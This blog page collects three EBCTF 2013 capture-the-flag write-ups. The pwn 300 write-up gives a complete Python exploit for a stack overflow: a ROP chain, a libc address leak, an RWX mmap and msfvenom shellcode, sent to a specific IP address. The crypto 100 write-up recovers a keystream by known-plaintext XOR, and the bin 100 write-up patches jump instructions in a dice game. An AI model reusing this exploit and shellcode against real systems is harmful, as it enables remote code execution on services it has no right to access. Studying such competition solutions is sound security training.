Showing posts with label EB CTF. Show all posts
Showing posts with label EB CTF. Show all posts

Sunday, August 4, 2013

EBCTF 2013 Finals - pwn 300 - [Team SegFault]

Myself and Xelenonz worked on this challenge. Xelenonz found critical details about the challenge. He managed to take control of saved EIP in read_from_client() function. Below is the details about it
ascii_to_bin("abcdef",&str) => str = 0xabcdef
ascii_to_bin("deadbeef",&str) => str = 0xdeadbeef

echo `perl -e 'print "A"x72,"41"x4,"42"x4,"a8c00408","\r\n"'` | nc 127.0.0.1 7070
ret => 0x41414141
str is 0x20 bytes away from EBP. In ascii_to_bin(), we can see
*(_BYTE *)(i + str) = v2 | n_to_i(buf[2 * i + 1]);
This eventually leads to the vulnerability, as i value increases in loop, *(_BYTE *)(i + str) goes past allocated buffer in read_from_client(). Once this was found, we started building our exploit on top of this. Below is the idea of exploit

[*] Leak address of __libc_start_main from GOT using send()
[*] Return into read() to copy stage 2 payload into .data section
[*] Shift stack into .data section using leave; ret gadget
[*] Shifted stack has gadgets to return into mmap(), allocate a new memory with RWX
[*] Return into read() to copy shellcode into mmap()'ed region
[*] Jump into the starting address of mmap()'ed region

Leaked address of __libc_start_main was found to be 0xf76303e0. The __libc_start_main offset in my ubuntu VM was 0x193e0. Now
>>> hex(0xf76303e0 - 0x193e0)
'0xf7617000'
This very much looked like base address of libc. So we used address offsets from this libc and it worked. Below is the full exploit
#!/usr/bin/env python

import socket
import struct
import time

ip = '127.0.0.1'
ip = '54.217.15.93'
port = 7070

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# msfvenom
shell = ( "\xbb\x3e\xa8\x55\xd1\xdb\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" +
          "\xb1\x0f\x31\x5a\x12\x83\xc2\x04\x03\x64\xa6\xb7\x24\xf2" +
          "\xbd\x6f\x5e\x50\xa4\xe7\x4d\x37\xa1\x1f\xe5\x98\xc2\xb7" +
          "\xf6\x8e\x0b\x2a\x9e\x20\xdd\x49\x32\x54\xc8\x8d\xb3\xa4" +
          "\xdc\xef\xda\xca\x0d\x83\x74\x32\x7f\x00\xa5\x41\x17\xfa" +
          "\x83\x91\xc7\x3c\xea\xed\x07\x16\xa1\x84\xe9\x55\xc5" )


payload  = "A"*72
payload += "938d0408" # pop2ret
payload += "41414141" #
payload += "00a00408" # need to be valid address
payload += "208a0408" # send(4,__libc_start_main,0x4,0) @ PLT
payload += "dca70408" # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload += "04000000" # fd
payload += "64c00408" # buf
payload += "04000000" # size
payload += "00000000" # flag
payload += "c0870408" # read @ PLT
payload += "dca70408" # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload += "04000000" # fd
payload += "c0c00408" # .data
payload += "00040000" # size
payload += "c0c00408" # .data
payload += "898a0408" # leave, ret; stack shifting 
payload += "\r\n"

soc.send(payload)
addr = struct.unpack("<I",(soc.recv(1024)))[0] # address leak
print hex(addr)

# stage 2

payload  = struct.pack("<I", 0x0804c0c0)     # .data
payload += struct.pack("<I", addr+(0xd1d00)) # mmap
payload += struct.pack("<I", 0x08048d90)     # add esp, 0x14 ; pop ebx ; pop ebp
payload += struct.pack("<I", 0xbadc000)      # address
payload += struct.pack("<I", 1024)           # size
payload += struct.pack("<I", 7)              # permission
payload += struct.pack("<I", 34)
payload += struct.pack("<I", 0x00)
payload += struct.pack("<I", 0x00)
payload += "MOVE"
payload += struct.pack("<I", 0x080487c0)     # read @ PLT
payload += struct.pack("<I", 0xbadc000)      # ret address
payload += struct.pack("<I", 0x4)            # fd
payload += struct.pack("<I", 0xbadc000)      # address
payload += struct.pack("<I", 1024)           # size

soc.send(payload + "\n")
time.sleep(1)

# stage 3
soc.send(shell+"\n")
soc.send("cat goproot/FLAG\n")
print soc.recv(1024)
Here is the flag for the challenge : ebCTF{35a6673b2243c925e02e85dfa916036f}

Sunday, June 2, 2013

EBCTF Teaser 2013 - Crypto 100 - [Team xbios]

Description:
We suspect an employee of one of the embassies has leaked confidential information to a foreign intelligence agency. We've managed to capture an individual whom we assume to be the recipient of the info. Our forensics department has managed to recover two messages from his outbox, which appear to be encrypted using some crypto tool. Along with each email our suspect also received an SMS message containing a password, however we were only able to recover one - "SieR1mephad7oose". Could you help us decrypt both messages?

We had access to the cypto algorithm (crypto.py) and two messages sent (msg001.enc and msg002.enc). The password for 1st message is given in the README file. First lets decrypt the message
[ctf@renorobert cry100_espionage]$ python crypto.py 
Usage: crypto.py encrypt <password> <infile> <outfile>
 crypto.py decrypt <password> <infile> <outfile>

[ctf@renorobert cry100_espionage]$ python crypto.py decrypt SieR1mephad7oose msg001.enc msg001.dec 
[ctf@renorobert cry100_espionage]$ cat msg001.dec 
From: Vlugge Japie <vl.japie@yahoo.com>
To: Baron van Neemweggen <b.neemweggen@zmail.com>
Subj: Weekly update

Boss,

Sorry, I failed to get my hands on the information you
requested. Please don't tell the bureau - I'll have it
next week, promise! 

Vlugge Japie
Ok, there is nothing interesting in this message. We have to figure out a way to read the msg002.enc file. This is what the crypto algorithm does

Key Generation routine
[*] Generate raw bytes by hashing the password with sha256 algorithm, this gives 32 bytes
[*] XOR first half of hash with the second to generate 16 bytes key. Repeat this again for 20000 rounds

Encryption
[*] Once key is generated, the message is split into blocks of 16 bytes
[*] First 16 bytes of message is XOR'ed with 16 bytes key to get cipher text
[*] The key is then updated using the same key generation routine, after appending the len(msg) to the current key
[*] Thus every 16 bytes of plain text is encrypted with updated key

Since both messages are sent by same person, we assumed that mail headers are same in both messages. To decrypt the msg002.enc file
[*] XOR first 16 bytes of decrypted msg001.enc file and first 16 bytes of decoded msg002.enc file
[*] We found the key that comes after 20000 rounds, now pass this key to the encryption routine mentioned above

We used the given crypto.py to write the solution. Here it is
#!/usr/bin/env python
# solve.py

import hashlib

msg_one = open("msg001.dec").read().strip()
msg_two = open("msg002.enc").read().decode("base64")
hash_key = ''
blk = 16

# find key
for i in range(blk):
    hash_key += chr( ord(msg_one[i]) ^ ord(msg_two[i]) )
 
print repr(hash_key)

def xor(a, b):
    l = min(len(a), len(b))
    return ''.join([chr(ord(x) ^ ord(y)) for x, y in zip(a[:l], b[:l])])

def h(x):
    x = hashlib.sha256(x).digest()
    x = xor(x[:16], x[16:])
    return x

def crypt(msg, hash_key):

    k = hash_key
    out = ''

    for i in xrange(0, len(msg), 16):
        out += xor(msg[i:i+16], k)
        k = h(k + str(len(msg)))
    return out

print crypt(msg_two, hash_key)
[ctf@renorobert cry100_espionage]$ python solve.py
'\xea(\xb9\xa8G\xb1\x9da\x00\xccIC\xf2-\xef\xf1'
From: Vlugge Japie <vl.japie@yahoo.com>
To: Baron van Neemweggen <b.neemweggen@zmail.com>
Subj: Found it!

Boss,

I found some strange code on one of the documents.
Is this what you're looking for?

ebCTF{21bbc4f404fa2057cde2adbf864b5481}

Vlugge Japie
The flag for the challenge is ebCTF{21bbc4f404fa2057cde2adbf864b5481}

EBCTF Teaser 2013 - Bin 100 - [Team xbios]

For this challenge we were give a PE32 executable. Its a dice game, we have to throw some correct sequence of numbers to get the flag.
[ctf@renorobert EBCTF]$ file ebCTF-Teaser-BIN100-Dice.exe
ebCTF-Teaser-BIN100-Dice.exe: PE32 executable for MS Windows (console) Intel 80386 32-bit

[ctf@renorobert EBCTF]$ wine ebCTF-Teaser-BIN100-Dice.exe

[*] ebCTF 2013 Teaser - BIN100 - Dice Game
    To get the flag you will need to throw the correct numbers.

[*] You will first need to throw a three, press enter to throw a dice!

 -------
| O   O |
|       |
| O   O |
 -------

[*] You rolled a 4 That is not a three :/
[*] Game over!
Analysing the binary with IDA, we noticed the following

[*] We have to throw the sequence 3 - 1 - 3 - 3 - 7 to get flag
[*] Binary randomly generates numbers between 1 to 6 and does the comparison

We simply patched the essential JNZ instructions to JZ instruction, such that binary will stop execution only when right numbers are thrown. Here is the IDA dif file we used for patching
ebCTF-Teaser-BIN100-Dice.exe
00000D2B: 75 74
00000F92: 75 74
00001069: 75 74
000013A5: 75 74
0000163D: 75 74
000016D6: 85 84
00001A29: 75 74
00001A50: 85 84
Now execute the binary, we got the flag in the first run
[*] You rolled a seven, with a six sided dice! How awesome are you?!

[*] You rolled 3-1-3-3-7, what does that make you? ELEET! \o/
[*] Nice job, here is the flag: ebCTF{64ec47ece868ba34a425d90044cd2dec}
Flag for the challenge is ebCTF{64ec47ece868ba34a425d90044cd2dec}